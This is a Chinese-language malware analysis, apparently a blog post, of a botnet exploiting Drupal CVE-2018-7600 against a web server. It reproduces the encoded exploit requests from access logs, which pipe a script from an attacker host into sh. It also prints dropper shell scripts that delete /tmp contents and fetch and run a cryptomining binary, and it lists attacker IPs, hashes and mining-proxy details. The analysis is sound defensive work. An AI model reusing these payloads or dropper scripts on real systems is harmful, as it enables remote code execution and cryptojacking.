一、事件背景
在對服務器進行例行性檢查的時候，在一臺ngix服務器的日誌文件access.log裏面發現了一些奇怪的訪問記錄，如下表所示。備註，這臺Ngix 服務器安裝windows10企業版操作系統，web服務器是nginx/1.12.2。
來源IP | 時間 | 數據 |
|---|---|---|
85.248.227.163 | 16/Oct/2018:13:14:41 +0800 | “POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 301 185 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0” |
85.248.227.163 | 16/Oct/2018:13:14:41 +0800 | “GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 200 8517 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0” |
85.248.227.163 | 16/Oct/2018:13:14:43 +0800 | “POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 301 185 “-“ “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36” |
85.248.227.165 | 16/Oct/2018:13:14:47 +0800] | “GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 200 8517 “-“ “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36” |
經過整理，發現上述web訪問的命令其實就是下列兩行，分別用GET和POST向目標網站進行請求訪問。
https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup wget –O - http://164.132.159.56/drupal/up.sh | sh 2>&1&name[#type]=markup |
|---|---|
https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup curl http://164.132.159.56/drupal/up.sh | sh 2>&1&name[#type]=markup |
乍一看，就是向服務器發送請求，利用web服務器上的一個漏洞，並要求服務器執行wget和curl命令去下載並執行up.sh腳本。可是我的服務器明明是windows操作系統，就算有漏洞觸發了也不會執行該命令。因此，本次web攻擊請求應該不是人工發出的（應該不會有這麼蠢的黑客吧，也可能看web服務器是Ngix，就默認爲類linux系統）。此外，通過網絡搜索關鍵字，發現這段代碼是Drupal遠程代碼執行漏洞（CVE-2018-7600）的利用方式。今年上半年，Drupal漏洞非常火爆，使得一撥又一撥的僵屍網絡高潮迭起。由此可見，本次的web請求訪問應該是殭屍病毒在自動化的掃描，利用Drupal漏洞進行攻擊傳播擴散。可是，這些病毒作者爲什麼就不能稍微花點功夫，先對目標網站軟件環境進行判斷，然後再實施下一步的實質攻擊步驟呢？
儘管這次攻擊沒有對本地服務器產生任何危害。但是，既然不請自來，那就花點功夫研究一下吧。
1.下載腳本
直接訪問http://164.132.159.56/drupal/up.sh下載up.sh，發現其內容如下：
#!/bin/shcrontab-r;id0="[[^$I$^]]"id1="atnd"ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"if [ $?-ne 0 ];thenwget -O- http://164.132.159.56/drupal/bups.sh|sh ; curl http://164.132.159.56/drupal/bups.jpg|sh ;elseecho"......."fi
再次下載bups.sh和bups.jpg文件，其內容是一樣的，具體內容如下：
#!/bin/shid0="[[^$I$^]]"id1="atnd"id2="ooo"ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"if [ $? -ne 0 ];thenif [ -x "/var/tmp/" ] &&[ -w "/var/tmp/" ];thenrm -rf /var/tmp/.*rm -rf /var/tmp/*wget -O /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`curl -o /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`chmod +x /var/tmp/`echo $id1`chmod 777 /var/tmp/atnd/var/tmp/`echo $id1` &elserm -rf /tmp/.*rm -rf /tmp/*wget -O /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`curl -o /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`chmod +x /tmp/`echo $id1`chmod 777 /tmp/atnd/tmp/`echo $id1` &fielseecho "Running....."fi
上面腳本很簡單，就是下載惡意軟件並運行的過程。腳本首先判斷是否存在名叫id0和id1的進程（如果存在說明目標系統已被感染，惡意軟件已運行中）。接着判斷/var/tmp目錄是否存在並可執行可寫，如能是，則把惡意軟件下載放在該目錄下，否則就放在/tmp/目錄下。木馬下載路徑是http://164.132.159.56/drupal/2/ooo，存放在本地的名字是id1，也就是”atnd”。此外，id0參數只是簡單調用了一下，說明此輪感染操作應該不是第一波，在此前的病毒傳播階段，攻擊者下載惡意軟件後本地保存的文件名是id0，也就是”[[^$I$^]]”。
手動訪問下載ooo，其屬性如下表所示。
屬性 | 值 |
|---|---|
大小 | 21176 |
MD5 | 7fdc31d7b9fafd2fbbb4da22b3cf56a2 |
SHA1 | 4e8bdca8d9a2eec23f17206af6e9f70daad29a25 |
2.構建環境
本地環境是Ubuntu16.04虛擬機。把ooo文件拷貝到虛擬機下/var/tmp/atnd，執行後，發現ubuntu系統退出登錄，重新輸入密碼，一閃又回到登錄界面。暈。
通過wireshark抓包，發現測試環境和80.240.26.52以及164.132.159.56兩個IP發生如下的網絡連接。
1.首先訪問下載http://164.132.159.56/drupal/lu.sh文件，其內容如下。
lu.sh執行後會區訪問下載bups.sh和bups.jpg，這兩個文件的內容上一段已經介紹。
2.下載http://164.132.159.56/drupal/bups.sh
3.下載http:// 164.132.159.56/drupal/2/ooo
4.再次下載http:// 164.132.159.56/drupal/2/ooo
5.下載http:// 80.240.26.52/d/sss
6.下載http:// 80.240.26.52/d/lmmml
其中，步驟1-4下載的文件已經清晰，手動下載步驟5和步驟6的文件，下載後的文件信息如下表所示。
文件名 | 大小 | MD5 | SHA1 |
|---|---|---|---|
sss | 16360 | 8a8ddce64e5dd6f5864da18d7899351c | edb7aac788cb25a2f36bd71244843a9289a97d4e |
lmmml | 719144 | 2e483fe7736634134b1b0d82828f2e53 | 583f5a66117f76a9dea389070ed0c8470e330e47 |
3.相關IP初步分析
1.攻擊者來源IP
從Ngix日誌提取的攻擊者IP爲85.248.227.163和85.248.227.165。
通過ip138查詢，結果如下：
開放80和443端口，直接http方式訪問，顯示的頁面如下圖所示。咦，竟然是Tor節點，上面顯示了服務器的性能。利用https訪問，則沒有顯示頁面。發現域名是Enn.lu。
在本地pingenn.lu解析結果如下：
正在Ping enn.lu [176.10.250.105] 具有 32 字節的數據:
來自176.10.250.105 的回覆: 字節=32 時間=310ms TTL=47
來自176.10.250.105 的回覆: 字節=32 時間=308ms TTL=47
來自176.10.250.105 的回覆: 字節=32 時間=309ms TTL=47
來自 176.10.250.105 的回覆: 字節=32 時間=308ms TTL=47
IP地址不一樣，而且直接訪問enn.lu網站都是直接跳轉到https訪問方式，其首頁界面如下圖所示。
看來很有可能是假冒頁面。
直接在http://85.248.227.163查看其源代碼，果不其然，該頁面只是簡單的鏈接到enn.lu網站。
此外，除了日誌中發現的85.248.227.163和85.248.227.165地址外，還發現85.248.227.164地址與它們功能相同，三者網站頁面都是假冒的Enn.lu域名，也就是說，攻擊者至少擁有或控制這三個IP地址的主機。
2.http下載地址分析
所有的sh腳本都是通過訪問164.132.159.56下載的。IP查詢結果如下。
_______________________________________ 您查詢的IP:164.132.159.56•本站數據：法國 •參考數據1：法國法國ovh.com•參考數據2：意大利•兼容IPv6地址：::A484:9F38•映射IPv6地址：::FFFF:A484:9F38________________________________________
直接用瀏覽器進行http訪問，結果如下所示。
Not FoundThe requested URL / was not found on this server.________________________________________Apache/2.4.18 (Ubuntu) Server at 164.132.159.56 Port 80
3.ooo通聯地址
ooo程序運行後會訪問下載80.240.26.52地址用於下載sss以及lmmml程序。對地址80.240.26.52的查詢結果如下。
________________________________________ 您查詢的IP:80.240.26.52本站數據：希臘 參考數據1：希臘希臘 參考數據2：希臘兼容IPv6地址：::50F0:1A34映射IPv6地址：::FFFF:50F0:1A34________________________________________
直接瀏覽器訪問後的結果如下：
403 Forbidden________________________________________nginx/1.10.3 (Ubuntu)
二、程序分析
1.ooo程序
1.循環kill進程
讀取/proc/下的進程列表，如果進程PID<=1000則不處理，否則殺掉原來設定的病毒進程名字，比如atnd、[^$I$^]。代碼如下圖所示：
2.判讀目錄是否存在可寫，下載相應文件到本地並執行：
3.網絡下載的函數：
4.定時任務，如果有wget用wget下載命令，否則用curl下載命令。把下載命令用base64編碼後，生成定時任務命令。
5.while循環操作，殺進程，下載執行、sleep：
2.lmmml程序
拷貝lmmml到桌面下，直接運行後，發現lmmml其實是一個挖礦程序。
1.進程改名
Lmmml運行後的進程改名爲[^$I$^]。
2.礦池分析
它連接的礦池是：95.179.153.229:7777。
對其利用IDA反彙編可以看到，其連接的礦池地址有兩個，分別是95.179.153.229的7777和80端口。如下圖所示：
可是，網絡抓包發現它登錄的挖礦帳號和密碼竟然都是設置成x，並沒有發送實際的挖礦帳號，很奇怪。
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"http","algo":["cn","cn/2","cn/1","cn/0","cn/xtl","cn/msr","cn/xao","cn/rto"]}}瀏覽器直接訪問95.179.153.229的80端口和7777登錄，發現返回字符串”Mining Proxy Online”。看來該臺服務器是攻擊者自架設的一個挖礦代理服務器。同時，在對lmmml靜態反彙編分析的時候，發現與此前發現的挖礦代碼不同，作者應該是自己重新修改編譯了源代碼，變化非常大，此前常見的靜態字符串都做了處理。
結合挖礦的帳號設置成x，是否有可能是作者自己修改編譯了mining-proxy的代碼，把所有的被感染機器發送過來的賬號x都在proxy端再進行重新設置，然後發送給實際的礦池，從而形成統一挖坑又保護自身挖坑賬號的目的，不讓分析的人員知道該賬戶的具體情況（比如實際收益情況等）。
三、結束語
通過上述簡單分析，大致可以得出下列結論：
1.該次web服務器的網絡異常請求訪問應該是一次來自殭屍病毒的自動攻擊行爲；
2.該殭屍病毒利用Drupal漏洞進行傳播；
3.該殭屍病毒已經實施了多波次的感染行動；
4.攻擊者主要目的用於挖礦，可根據需要隨時更換惡意代碼功能文件。至於目前挖礦的賬號用x是否如分析的一樣有待商榷。
5.攻擊者利用的資源比較分散，比如85.248.227.163/85.248.227.164/85.248.227.165三個IP地址用於僞造網站與實施Drupal漏洞攻擊，164.132.159.56用於下載攻擊腳本文件, 80.240.26.52用於病毒實體文件的下載。
*本文原創作者：cgf99，本文屬於FreeBuf原創獎勵計劃，未經許可禁止轉載